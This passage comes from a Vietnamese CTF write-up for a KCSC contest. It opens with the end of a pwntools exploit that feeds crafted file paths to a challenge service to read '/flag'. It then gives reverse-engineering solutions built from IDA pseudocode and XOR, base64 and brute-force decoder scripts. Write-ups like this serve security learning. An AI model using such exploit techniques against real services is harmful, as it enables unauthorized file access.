    base = get_exe_base(p.pid)
<span class="hljs-comment"># GDB()</span>
fd = <span class="hljs-string">b'\x01'</span>+<span class="hljs-string">b'/proc/self/fd/8\0'</span>.ljust(<span class="hljs-number">256</span>, <span class="hljs-string">b'\0'</span>)
flag = <span class="hljs-string">b'\x01'</span> + <span class="hljs-string">b'/flag'</span>.ljust(<span class="hljs-number">256</span>, <span class="hljs-string">b'\0'</span>)

p.send(<span class="hljs-string">b'\x01'</span> + <span class="hljs-string">b'/'</span>*<span class="hljs-number">256</span>)
sleep(<span class="hljs-number">0.2</span>)
p.send(<span class="hljs-string">b'\x02'</span>)
sleep(<span class="hljs-number">0.2</span>)
p.send(flag)
sleep(<span class="hljs-number">0.2</span>)
p.send(fd)
sleep(<span class="hljs-number">0.2</span>)
p.send(<span class="hljs-string">b'\x02'</span>)

p.interactive()
</code></pre>
<h2 id="heading-iv-reverse">IV. Reverse</h2>
<p><strong>Cre:robertowen</strong></p>
<h3 id="heading-hidden">HIDDEN</h3>
<p><img src="https://hackmd.io/_uploads/ByTm-9cD1e.png" alt="image" /></p>
<p>Mở ida dễ dàng thấy flag</p>
<p><img src="https://hackmd.io/_uploads/HyLNG9cv1g.png" alt="image" /></p>
<p>Submit thử thì báo incorrect, rõ ràng là fakeflag<br />Vào functions thấy hàm printFlag khả nghi</p>
<p><img src="https://hackmd.io/_uploads/H1G0K9qDkg.png" alt="image" /></p>
<p>Xem mã giả ta dễ dàng thấy đây chỉ là mã hóa xor từng byte của v2 với \x88</p>
<p><img src="https://hackmd.io/_uploads/H1Qtc5qwJg.png" alt="image" /></p>
<p>Bài này warmup nên có thể giải nhanh bằng cách debug và nhảy RIP đến hàm printFlag</p>
<p><img src="https://hackmd.io/_uploads/ByLjpcqDkx.png" alt="image" /></p>
<p>Flag: KCSC{you_can't_see_me:v}</p>
<p><img src="https://hackmd.io/_uploads/HynMA9qwye.png" alt="image" /></p>
<h3 id="heading-easyre">easyre</h3>
<p><img src="https://hackmd.io/_uploads/r1GGkj9vkl.png" alt="image" /></p>
<p>Chạy thử:</p>
<p><img src="https://hackmd.io/_uploads/SkEEliqvyx.png" alt="image" /></p>
<p>Pseudo code:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __cdecl <span class="hljs-title">sub_7FF78B081280</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
  FILE *v3; <span class="hljs-comment">// rax</span>
  <span class="hljs-keyword">size_t</span> v4; <span class="hljs-comment">// rax</span>
  __int64 v5; <span class="hljs-comment">// rdx</span>
  __int64 v6; <span class="hljs-comment">// rcx</span>
  __int64 v7; <span class="hljs-comment">// r8</span>
  __int64 v8; <span class="hljs-comment">// r9</span>
  __int64 v9; <span class="hljs-comment">// rax</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v10; <span class="hljs-comment">// edx</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v11; <span class="hljs-comment">// r8d</span>
  <span class="hljs-keyword">unsigned</span> __int64 v12; <span class="hljs-comment">// rax</span>
  __m128 v13; <span class="hljs-comment">// xmm0</span>
  __m128 v14; <span class="hljs-comment">// xmm1</span>
  __int64 v15; <span class="hljs-comment">// rcx</span>
  __int64 v16; <span class="hljs-comment">// rax</span>
  <span class="hljs-keyword">char</span> *v17; <span class="hljs-comment">// rcx</span>
  <span class="hljs-keyword">char</span> Buffer[<span class="hljs-number">16</span>]; <span class="hljs-comment">// [rsp+20h] [rbp-68h] BYREF</span>
  __int128 v20; <span class="hljs-comment">// [rsp+30h] [rbp-58h] BYREF</span>
  <span class="hljs-keyword">int</span> v21; <span class="hljs-comment">// [rsp+40h] [rbp-48h]</span>
  __int128 v22[<span class="hljs-number">2</span>]; <span class="hljs-comment">// [rsp+48h] [rbp-40h] BYREF</span>
  __int64 v23; <span class="hljs-comment">// [rsp+68h] [rbp-20h]</span>
  <span class="hljs-keyword">int</span> v24; <span class="hljs-comment">// [rsp+70h] [rbp-18h]</span>
  <span class="hljs-keyword">char</span> v25; <span class="hljs-comment">// [rsp+74h] [rbp-14h]</span>

  LOBYTE(v21) = <span class="hljs-number">0</span>;
  v23 = <span class="hljs-number">0</span>i64;
  *(_OWORD *)Buffer = <span class="hljs-number">0</span>i64;
  v24 = <span class="hljs-number">0</span>;
  v20 = <span class="hljs-number">0</span>i64;
  v25 = <span class="hljs-number">0</span>;
  <span class="hljs-built_in">memset</span>(v22, <span class="hljs-number">0</span>, <span class="hljs-keyword">sizeof</span>(v22));
  sub_7FF78B081010(<span class="hljs-string">"Enter flag: "</span>);
  v3 = _acrt_iob_func(<span class="hljs-number">0</span>);
  fgets(Buffer, <span class="hljs-number">33</span>, v3);
  v4 = <span class="hljs-built_in">strcspn</span>(Buffer, <span class="hljs-string">"\n"</span>);
  <span class="hljs-keyword">if</span> ( v4 &gt;= <span class="hljs-number">0x21</span> )
  {
    sub_7FF78B081558(
      v6,
      v5,
      v7,
      v8,
      *(_QWORD *)Buffer,
      *(_QWORD *)&amp;Buffer[<span class="hljs-number">8</span>],
      v20,
      *((_QWORD *)&amp;v20 + <span class="hljs-number">1</span>),
      v21,
      *(_QWORD *)&amp;v22[<span class="hljs-number">0</span>],
      *((_QWORD *)&amp;v22[<span class="hljs-number">0</span>] + <span class="hljs-number">1</span>));
    JUMPOUT(<span class="hljs-number">0x7FF78B08141E</span>i64);
  }
  Buffer[v4] = <span class="hljs-number">0</span>;
  v9 = <span class="hljs-number">-1</span>i64;
  <span class="hljs-keyword">do</span>
    ++v9;
  <span class="hljs-keyword">while</span> ( Buffer[v9] );
  <span class="hljs-keyword">if</span> ( v9 == <span class="hljs-number">32</span> )
  {
    sub_7FF78B081070(Buffer, v22);
    v10 = <span class="hljs-number">0</span>;
    v11 = <span class="hljs-number">0</span>;
    v12 = <span class="hljs-number">0</span>i64;
    <span class="hljs-keyword">do</span>
    {
      v13 = (__m128)_mm_loadu_si128((<span class="hljs-keyword">const</span> __m128i *)&amp;byte_7FF78B085078[v12]);
      v11 += <span class="hljs-number">32</span>;
      v14 = (__m128)_mm_loadu_si128((<span class="hljs-keyword">const</span> __m128i *)&amp;v22[v12 / <span class="hljs-number">0x10</span>]);
      v12 += <span class="hljs-number">32</span>i64;
      *(__m128 *)&amp;dword_7FF78B085058[v12 / <span class="hljs-number">4</span>] = _mm_xor_ps(v14, v13);
      *(__m128 *)&amp;qword_7FF78B085068[v12 / <span class="hljs-number">8</span>] = _mm_xor_ps(
                                                  (__m128)_mm_loadu_si128((<span class="hljs-keyword">const</span> __m128i *)((<span class="hljs-keyword">char</span> *)&amp;v20 + v12 + <span class="hljs-number">8</span>)),
                                                  (__m128)_mm_loadu_si128((<span class="hljs-keyword">const</span> __m128i *)&amp;qword_7FF78B085068[v12 / <span class="hljs-number">8</span>]));
    }
    <span class="hljs-keyword">while</span> ( v11 &lt; <span class="hljs-number">0x20</span> );
    v15 = (<span class="hljs-keyword">int</span>)v11;
    <span class="hljs-keyword">if</span> ( (<span class="hljs-keyword">unsigned</span> __int64)(<span class="hljs-keyword">int</span>)v11 &lt; <span class="hljs-number">0x2C</span> )
    {
      <span class="hljs-keyword">do</span>
      {
        ++v11;
        byte_7FF78B085078[v15] ^= *((_BYTE *)v22 + v15);
        ++v15;
      }
      <span class="hljs-keyword">while</span> ( v11 &lt; <span class="hljs-number">0x2C</span> );
    }
    v16 = <span class="hljs-number">0</span>i64;
    <span class="hljs-keyword">while</span> ( byte_7FF78B0832F0[v16] == byte_7FF78B085078[v16] )
    {
      ++v10;
      ++v16;
      <span class="hljs-keyword">if</span> ( v10 &gt;= <span class="hljs-number">0x2C</span> )
      {
        v17 = <span class="hljs-string">"Correct!\n"</span>;
        <span class="hljs-keyword">goto</span> LABEL_13;
      }
    }
  }
  v17 = <span class="hljs-string">"Incorrect!\n"</span>;
LABEL_13:
  sub_7FF78B081010(v17);
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Xem qua ta có thể thấy chương trình gọi một số hàm mã hóa và cuối cùng là check để kiểm tra flag có đúng không</p>
<p><img src="https://hackmd.io/_uploads/ryTM-jqP1e.png" alt="image" /></p>
<p>Tuy code khá dài tuy nhiên ta có thể chú ý một số hàm mã hóa chính như sau<br />Lần 1:</p>
<p><img src="https://hackmd.io/_uploads/B1qEwo9vyx.png" alt="image" /></p>
<p>Chương trình kiểm tra xem đầu vào mà ta nhập có phải là 32 ký tự hay không<br />Nếu đúng thì sẽ gọi hàm <code>sub_7FF7EEA81070</code> để mã hóa<br />Nội dung hàm khá dài và khó nhìn tuy nhiên ta có thể check output để xem hàm làm gì với input<br />Output:</p>
<p><img src="https://hackmd.io/_uploads/H1Tgtscw1x.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SJ38KocPJe.png" alt="image" /></p>
<p>Ta có thể dễ dàng nhận ra đây là mã hóa base64 của input <code>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</code> mà ta đã nhập vào trước đó<br />Lần 2:</p>
<p><img src="https://hackmd.io/_uploads/rJCEcjqwJe.png" alt="image" /></p>
<p>Xor từng bytes của <code>v18</code> (output của base64 trước đó) với từng bytes của <code>byte_7FF6E4DF5078</code> và lưu trữ kết quả luôn vào <code>byte_7FF6E4DF5078</code><br />Cuối cùng là check: <code>byte_7FF6E4DF5078</code> với <code>byte_7FF6E4DF32F0</code></p>
<p><img src="https://hackmd.io/_uploads/BJbWoi5DJx.png" alt="image" /></p>
<p>Nếu tất cả các bytes <code>byte_7FF6E4DF5078</code> và <code>byte_7FF6E4DF32F0</code> đều giống nhau thì báo <code>Correct!</code> nếu không thì báo <code>Incorrect!</code> Tổng kết:<br />- Nhận vào chuỗi 32 ký tự<br />- Mã hóa base64<br />- Xor với <code>byte_7FF6E4DF5078</code><br />- Kiểm tra<br />Ta dễ dàng viết script decrypt:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> base64
byte_7FF6E4DF32F0=[<span class="hljs-number">0xC1</span>, <span class="hljs-number">0x91</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0xB4</span>, <span class="hljs-number">0x66</span>, <span class="hljs-number">0xF9</span>, <span class="hljs-number">0x04</span>, <span class="hljs-number">0x12</span>, <span class="hljs-number">0xB2</span>, <span class="hljs-number">0xD3</span>, <span class="hljs-number">0x7D</span>, <span class="hljs-number">0x6B</span>, <span class="hljs-number">0x0F</span>, <span class="hljs-number">0xB9</span>, <span class="hljs-number">0x7F</span>, <span class="hljs-number">0xF5</span>, <span class="hljs-number">0xD2</span>, <span class="hljs-number">0x1C</span>, <span class="hljs-number">0xBF</span>, <span class="hljs-number">0x32</span>, <span class="hljs-number">0x0B</span>, <span class="hljs-number">0x32</span>, <span class="hljs-number">0x34</span>, <span class="hljs-number">0x9C</span>, <span class="hljs-number">0x98</span>, <span class="hljs-number">0xA4</span>, <span class="hljs-number">0x14</span>, <span class="hljs-number">0x37</span>, <span class="hljs-number">0x86</span>, <span class="hljs-number">0xC9</span>, <span class="hljs-number">0xAF</span>, <span class="hljs-number">0xE2</span>, <span class="hljs-number">0x9C</span>, <span class="hljs-number">0x46</span>, <span class="hljs-number">0x2B</span>, <span class="hljs-number">0xEC</span>, <span class="hljs-number">0x9F</span>, <span class="hljs-number">0x63</span>, <span class="hljs-number">0x38</span>, <span class="hljs-number">0x23</span>, <span class="hljs-number">0x54</span>, <span class="hljs-number">0x78</span>, <span class="hljs-number">0xCD</span>, <span class="hljs-number">0xF2</span>]
byte_7FF6E4DF5078=[<span class="hljs-number">0x92</span>, <span class="hljs-number">0xA1</span>, <span class="hljs-number">0x27</span>, <span class="hljs-number">0xE0</span>, <span class="hljs-number">0x37</span>, <span class="hljs-number">0xCA</span>, <span class="hljs-number">0x70</span>, <span class="hljs-number">0x7E</span>, <span class="hljs-number">0xE6</span>, <span class="hljs-number">0xBE</span>, <span class="hljs-number">0x33</span>, <span class="hljs-number">0x1D</span>, <span class="hljs-number">0x5D</span>, <span class="hljs-number">0xFE</span>, <span class="hljs-number">0x29</span>, <span class="hljs-number">0x93</span>, <span class="hljs-number">0xB6</span>, <span class="hljs-number">0x66</span>, <span class="hljs-number">0xF9</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x6A</span>, <span class="hljs-number">0x74</span>, <span class="hljs-number">0x0D</span>, <span class="hljs-number">0xDF</span>, <span class="hljs-number">0xD6</span>, <span class="hljs-number">0xEC</span>, <span class="hljs-number">0x5A</span>, <span class="hljs-number">0x71</span>, <span class="hljs-number">0xC8</span>, <span class="hljs-number">0xA3</span>, <span class="hljs-number">0xFD</span>, <span class="hljs-number">0x84</span>, <span class="hljs-number">0xC5</span>, <span class="hljs-number">0x13</span>, <span class="hljs-number">0x1E</span>, <span class="hljs-number">0x87</span>, <span class="hljs-number">0xC7</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x50</span>, <span class="hljs-number">0x55</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x16</span>, <span class="hljs-number">0xFD</span>, <span class="hljs-number">0xCF</span>]
a=<span class="hljs-string">''</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(byte_7FF6E4DF5078)):
    a+=chr(byte_7FF6E4DF5078[i]^byte_7FF6E4DF32F0[i])
p=base64.b64decode(a.encode())
print(p.decode())
<span class="hljs-comment">#KCSC{eNcoDe_w1th_B4sE64_aNd_XoR}</span>
</code></pre>
<p>Flag: KCSC{eNcoDe_w1th_B4sE64_aNd_XoR}</p>
<h3 id="heading-spy-room">Spy Room</h3>
<p><img src="https://hackmd.io/_uploads/BkdCyh5Dkl.png" alt="image" /></p>
<p>Đây là 1 bài dotnet đơn giản, không có gì phức tạp, chủ yếu là kiểm tra khả năng xài dnspy và cryptography cơ bản<br />Mở dnspy:</p>
<p><img src="https://hackmd.io/_uploads/rJ3Dencwyl.png" alt="image" /></p>
<p>Bài flagchecker gọi khá nhiều hàm xor<br />Ta có thể dùng GPT gen chương trình decode :((</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">xor</span>(<span class="hljs-params">a, b</span>):</span>
    num = max(len(a), len(b))
    result = []
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(num):
        <span class="hljs-keyword">if</span> len(a) &gt;= len(b):
            result.append(chr(ord(a[i]) ^ ord(b[i % len(b)])))
        <span class="hljs-keyword">else</span>:
            result.append(chr(ord(a[i % len(a)]) ^ ord(b[i])))
    <span class="hljs-keyword">return</span> result

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">reverse_xor</span>(<span class="hljs-params">source, url</span>):</span>
    source_chars = [chr(e) <span class="hljs-keyword">for</span> e <span class="hljs-keyword">in</span> source]
    array6 = xor(source_chars, list(url))
    num = len(array6)
    array2 = array6[:num // <span class="hljs-number">4</span>]
    array3 = array6[num // <span class="hljs-number">4</span>:num // <span class="hljs-number">2</span>]
    array4 = array6[num // <span class="hljs-number">2</span>:<span class="hljs-number">3</span> * num // <span class="hljs-number">4</span>]
    array5 = array6[<span class="hljs-number">3</span> * num // <span class="hljs-number">4</span>:]
    array5 = xor(array5, array2)
    array4 = xor(array4, array5)
    array3 = xor(array3, array4)
    array2 = xor(array2, array3)

    decoded_array = array2 + array3 + array4 + array5
    <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>.join(decoded_array)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    source = [
        <span class="hljs-number">85</span>, <span class="hljs-number">122</span>, <span class="hljs-number">105</span>, <span class="hljs-number">71</span>, <span class="hljs-number">17</span>, <span class="hljs-number">94</span>, <span class="hljs-number">71</span>, <span class="hljs-number">24</span>, <span class="hljs-number">114</span>, <span class="hljs-number">78</span>, <span class="hljs-number">107</span>, <span class="hljs-number">11</span>, <span class="hljs-number">108</span>, <span class="hljs-number">106</span>, <span class="hljs-number">107</span>, <span class="hljs-number">113</span>, <span class="hljs-number">121</span>, <span class="hljs-number">51</span>, <span class="hljs-number">91</span>, <span class="hljs-number">117</span>, <span class="hljs-number">86</span>, <span class="hljs-number">110</span>, <span class="hljs-number">100</span>, 
        <span class="hljs-number">18</span>, <span class="hljs-number">124</span>, <span class="hljs-number">104</span>, <span class="hljs-number">71</span>, <span class="hljs-number">66</span>, <span class="hljs-number">123</span>, <span class="hljs-number">3</span>, <span class="hljs-number">111</span>, <span class="hljs-number">99</span>, <span class="hljs-number">74</span>, <span class="hljs-number">107</span>, <span class="hljs-number">69</span>, <span class="hljs-number">77</span>, <span class="hljs-number">111</span>, <span class="hljs-number">2</span>, <span class="hljs-number">120</span>, <span class="hljs-number">125</span>, <span class="hljs-number">83</span>, <span class="hljs-number">99</span>, <span class="hljs-number">62</span>, <span class="hljs-number">99</span>, <span class="hljs-number">109</span>, <span class="hljs-number">76</span>, <span class="hljs-number">119</span>, 
        <span class="hljs-number">111</span>, <span class="hljs-number">59</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">93</span>, <span class="hljs-number">69</span>, <span class="hljs-number">117</span>, <span class="hljs-number">84</span>, <span class="hljs-number">106</span>, <span class="hljs-number">73</span>, <span class="hljs-number">85</span>, <span class="hljs-number">112</span>, <span class="hljs-number">66</span>, <span class="hljs-number">114</span>, <span class="hljs-number">92</span>, <span class="hljs-number">61</span>, <span class="hljs-number">80</span>, <span class="hljs-number">80</span>, <span class="hljs-number">104</span>, <span class="hljs-number">111</span>, <span class="hljs-number">72</span>, <span class="hljs-number">98</span>, <span class="hljs-number">28</span>, <span class="hljs-number">88</span>, 
        <span class="hljs-number">94</span>, <span class="hljs-number">27</span>, <span class="hljs-number">120</span>, <span class="hljs-number">15</span>, <span class="hljs-number">76</span>, <span class="hljs-number">15</span>, <span class="hljs-number">67</span>, <span class="hljs-number">86</span>, <span class="hljs-number">117</span>, <span class="hljs-number">81</span>, <span class="hljs-number">108</span>, <span class="hljs-number">18</span>, <span class="hljs-number">37</span>, <span class="hljs-number">34</span>, <span class="hljs-number">101</span>, <span class="hljs-number">104</span>, <span class="hljs-number">109</span>, <span class="hljs-number">23</span>, <span class="hljs-number">30</span>, <span class="hljs-number">62</span>, <span class="hljs-number">78</span>, <span class="hljs-number">88</span>, <span class="hljs-number">10</span>, <span class="hljs-number">2</span>, <span class="hljs-number">63</span>, 
        <span class="hljs-number">43</span>, <span class="hljs-number">72</span>, <span class="hljs-number">102</span>, <span class="hljs-number">38</span>, <span class="hljs-number">76</span>, <span class="hljs-number">23</span>, <span class="hljs-number">34</span>, <span class="hljs-number">62</span>, <span class="hljs-number">21</span>, <span class="hljs-number">97</span>, <span class="hljs-number">1</span>, <span class="hljs-number">97</span>
    ]
    url = <span class="hljs-string">"https://www.youtube.com/watch?v=L8XbI9aJOXk"</span>
    decoded_text = reverse_xor(source, url)

    print(decoded_text)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
<span class="hljs-comment">#VXpCT1ZGRXpkRVpaV0U0MVdEQldkVmt6U2pWalNGSndZakkxWmxZeWJEQmhSamxGWWpOU1QxSldVbVpWU0VwMldqTkthR0pVYjNwbVVUMDk=</span>
</code></pre>
<p>Output là chuỗi đã bị mã hóa base64 nhiều lần</p>
<p><img src="https://hackmd.io/_uploads/Bkpn7h5PJx.png" alt="image" /></p>
<p>Flag : KCSC{Easy_Encryption_With_DotNET_Program:3}</p>
<h3 id="heading-ezrev">EzRev</h3>
<p><img src="https://hackmd.io/_uploads/rypoEn9Pyg.png" alt="image" /></p>
<p>Pseudocode IDA:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __cdecl <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
  __int64 v3; <span class="hljs-comment">// rdx</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *v4; <span class="hljs-comment">// r8</span>
  <span class="hljs-keyword">int</span> i; <span class="hljs-comment">// [rsp+20h] [rbp-28h]</span>
  __int64 v7; <span class="hljs-comment">// [rsp+28h] [rbp-20h]</span>

  sub_140001200(<span class="hljs-string">"Enter Something: "</span>, argv, envp);
  sub_1400012D0(<span class="hljs-string">"%s"</span>, byte_1400047A8);
  <span class="hljs-keyword">if</span> ( (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)sub_140001100(byte_1400047A8) == <span class="hljs-number">-1982483102</span> )
  {
    v7 = <span class="hljs-number">-1</span>i64;
    <span class="hljs-keyword">do</span>
      ++v7;
    <span class="hljs-keyword">while</span> ( byte_1400047A8[v7] );
    <span class="hljs-keyword">if</span> ( v7 == <span class="hljs-number">40</span> )
    {
      sub_140001000(byte_1400047A8);
      dword_1400047A0 = <span class="hljs-number">1</span>;
      <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">40</span>; ++i )
      {
        v4 = dword_140004700;
        v3 = dword_140004700[i];
        <span class="hljs-keyword">if</span> ( dword_140004080[i] != (_DWORD)v3 )
          dword_1400047A0 = <span class="hljs-number">0</span>;
      }
    }
  }
  <span class="hljs-keyword">if</span> ( dword_1400047A0 )
    sub_140001200(<span class="hljs-string">"Excellent!! Here is your flag: KCSC{%s}"</span>, byte_1400047A8);
  <span class="hljs-keyword">else</span>
    sub_140001200(<span class="hljs-string">"You're chicken!!!"</span>, v3, v4);
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Phân tích sơ qua thì đây có thể là 1 bài flagchecker với một số hàm mã hóa cơ bản<br />Lần 1:</p>
<p><img src="https://hackmd.io/_uploads/rJW5H25Pkx.png" alt="image" /></p>
<p>Chương trình nhận vào input và kiểm tra 1 điều kiện gì đấy</p>
<p><img src="https://hackmd.io/_uploads/Bks0HhqvJe.png" alt="image" /></p>
<p>Qua kiểm tra thì đây có thể là một loại hash nào đấy<br />Vì không thể dịch ngược được và không ảnh hưởng quá nhiều đến chương trình nên mình sẽ patch luôn tại đây để bỏ qua bước kiểm tra điều kiện này</p>
<p><img src="https://hackmd.io/_uploads/BkuPP2qPyx.png" alt="image" /></p>
<p>Lần 2:</p>
<p><img src="https://hackmd.io/_uploads/H12m_35Pkl.png" alt="image" /></p>
<p>Đếm số phần tử có trong <code>byte_7FF64BE347A8</code> (là input ta nhập vào) và kiểm tra xem có đủ 40 ký tự không<br />gọi hàm <code>sub_7FF64BE31000</code> để mã hóa</p>
<p><img src="https://hackmd.io/_uploads/HJjlY2cvJe.png" alt="image" /></p>
<p>Hàm <code>sub_7FF64BE31000</code> lấy từng bytes của input rồi xor với các phép toán dịch bit ROR, ROL nhiều lần rồi lưu các giá trị đó vào <code>dword_7FF64BE34700</code><br />Cuối cùng là kiểm tra từng phần tử (dword) trong mảng <code>dword_7FF64BE34700</code> và <code>dword_7FF64BE34080</code> với nhau:</p>
<p><img src="https://hackmd.io/_uploads/BkfI9hcP1e.png" alt="image" /></p>
<p>Tổng kết:<br />- Kiểm tra hash (bỏ qua)<br />- Mã hóa qua hàm <code>sub_7FF64BE31000</code><br />- Kiểm tra<br />Do mã hóa từng bytes một nên mình sẽ bruteforce luôn để tiết kiệm thời gian dịch ngược<br />Script solve:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_rol</span>(<span class="hljs-params">val, bits, bit_size=<span class="hljs-number">32</span></span>):</span>
    <span class="hljs-keyword">return</span> (val &lt;&lt; bits % bit_size) &amp; (<span class="hljs-number">2</span> ** bit_size - <span class="hljs-number">1</span>) | ((val &amp; (<span class="hljs-number">2</span> ** bit_size - <span class="hljs-number">1</span>)) &gt;&gt; (bit_size - (bits % bit_size)))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_ror</span>(<span class="hljs-params">val, bits, bit_size=<span class="hljs-number">32</span></span>):</span>
    <span class="hljs-keyword">return</span> ((val &amp; (<span class="hljs-number">2</span> ** bit_size - <span class="hljs-number">1</span>)) &gt;&gt; bits % bit_size) | (val &lt;&lt; (bit_size - (bits % bit_size)) &amp; (<span class="hljs-number">2</span> ** bit_size - <span class="hljs-number">1</span>))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sub_7FF765091000</span>(<span class="hljs-params">a1</span>):</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(a1)):
        v2 = a1[i] 
        v5 = <span class="hljs-number">4</span>
        v6 = <span class="hljs-number">6</span>
        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
            v2 ^= _rol(v2, v5) ^ _ror(v2, v6)
            v5 *= <span class="hljs-number">2</span>
            v6 *= <span class="hljs-number">2</span>


    <span class="hljs-keyword">return</span> (v2)
enc=[
    <span class="hljs-number">0x0F30C0330</span>, <span class="hljs-number">0x340DDE9D</span>, <span class="hljs-number">0x750D9AC9</span>, <span class="hljs-number">0x391FBC2A</span>, <span class="hljs-number">0x9F16AF5B</span>, <span class="hljs-number">0x0E6180661</span>,
    <span class="hljs-number">0x6C1AAC6B</span>, <span class="hljs-number">0x340DDE9D</span>, <span class="hljs-number">0x0B60D5635</span>, <span class="hljs-number">0x9F16AF5B</span>, <span class="hljs-number">0x0A3195364</span>, <span class="hljs-number">0x681BBD3A</span>,
    <span class="hljs-number">0x0F30C0330</span>, <span class="hljs-number">0x0A3195364</span>, <span class="hljs-number">0x0AB1B71C6</span>, <span class="hljs-number">0x0F30C0330</span>, <span class="hljs-number">0x0F21D5274</span>, <span class="hljs-number">0x9F16AF5B</span>,
    <span class="hljs-number">0x0E6180661</span>, <span class="hljs-number">0x300CCFCC</span>, <span class="hljs-number">0x0F21D5274</span>, <span class="hljs-number">0x9F16AF5B</span>, <span class="hljs-number">0x0AB1B71C6</span>, <span class="hljs-number">0x0A3195364</span>,
    <span class="hljs-number">0x750D9AC9</span>, <span class="hljs-number">0x0A3195364</span>, <span class="hljs-number">0x9F16AF5B</span>, <span class="hljs-number">0x0F21D5274</span>, <span class="hljs-number">0x0F30C0330</span>, <span class="hljs-number">0x0A3195364</span>,
    <span class="hljs-number">0x0F21D5274</span>, <span class="hljs-number">0x351C8FD9</span>, <span class="hljs-number">0x710C8B98</span>, <span class="hljs-number">0x0F70D1261</span>, <span class="hljs-number">0x2D1AE83F</span>, <span class="hljs-number">0x0F30C0330</span>,
    <span class="hljs-number">0x0EE1A24C3</span>, <span class="hljs-number">0x0F70D1261</span>, <span class="hljs-number">0x6108CEDC</span>, <span class="hljs-number">0x6108CEDC</span>
]
flag=<span class="hljs-string">''</span>
<span class="hljs-keyword">for</span> e <span class="hljs-keyword">in</span> enc:
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">33</span>,<span class="hljs-number">127</span>):
        a=sub_7FF765091000((flag+chr(i)).encode())
        <span class="hljs-keyword">if</span> a==e:
            flag=flag+chr(i)
            print(flag)
            <span class="hljs-keyword">break</span>

<span class="hljs-comment">#345y_fl46_ch3ck3r_f0r_kc5c_r3cru17m3n7!!</span>
</code></pre>
<p>Mình có tham khảo script chuyển ROR,ROL sang python tại: <a target="_blank" href="https://github.com/tandasat/scripts_for_RE/blob/master/rotate.py%EF%BF%BCFlag">https://github.com/tandasat/scripts_for_RE/blob/master/rotate.py<br />Flag</a>: KCSC{345y_fl46_ch3ck3r_f0r_kc5c_r3cru17m3n7!!}</p>
<p>Thông thường mình sẽ không quá để ý việc dịch ngược hay chuyển code sang python cho những bài flagchecker như này mà sẽ hay xài gdb để bruteforce nhanh flag.<br />Tuy nhiên lần này gdb không decompile được nên mình đã không thể xài lại trick cũ, đây cũng là bài học cho mình để thay đổi tư duy làm bài và nghiên cứu nghiêm túc hơn trong tương lai!<br />có thể tham khảo 1 số bài mình đã giải bằng gdb tại: <a target="_blank" href="https://hackmd.io/@robertowen/rkXtc16N1l">https://hackmd.io/@robertowen/rkXtc16N1l</a></p>
<h3 id="heading-reverse-me">Reverse me</h3>
<p><img src="https://hackmd.io/_uploads/rkoFZpqv1g.png" alt="image" /></p>
<p>Pseudocode (khá dễ nhìn):</p>
<pre><code class="lang-c"><span class="hljs-function">__int64 __fastcall <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a1, <span class="hljs-keyword">char</span> **a2, <span class="hljs-keyword">char</span> **a3)</span>
</span>{
  <span class="hljs-keyword">int</span> i; <span class="hljs-comment">// [rsp+18h] [rbp-58h]</span>
  <span class="hljs-keyword">int</span> j; <span class="hljs-comment">// [rsp+1Ch] [rbp-54h]</span>
  <span class="hljs-keyword">char</span> s[<span class="hljs-number">56</span>]; <span class="hljs-comment">// [rsp+30h] [rbp-40h] BYREF</span>
  <span class="hljs-keyword">unsigned</span> __int64 v7; <span class="hljs-comment">// [rsp+68h] [rbp-8h]</span>

  v7 = __readfsqword(<span class="hljs-number">0x28</span>u);
  <span class="hljs-built_in">memset</span>(s, <span class="hljs-number">0</span>, <span class="hljs-number">0x31</span>uLL);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"FLAG: "</span>);
  __isoc99_scanf(<span class="hljs-string">"%48s"</span>, s);
  <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i &lt;= <span class="hljs-number">47</span>; i += <span class="hljs-number">8</span> )
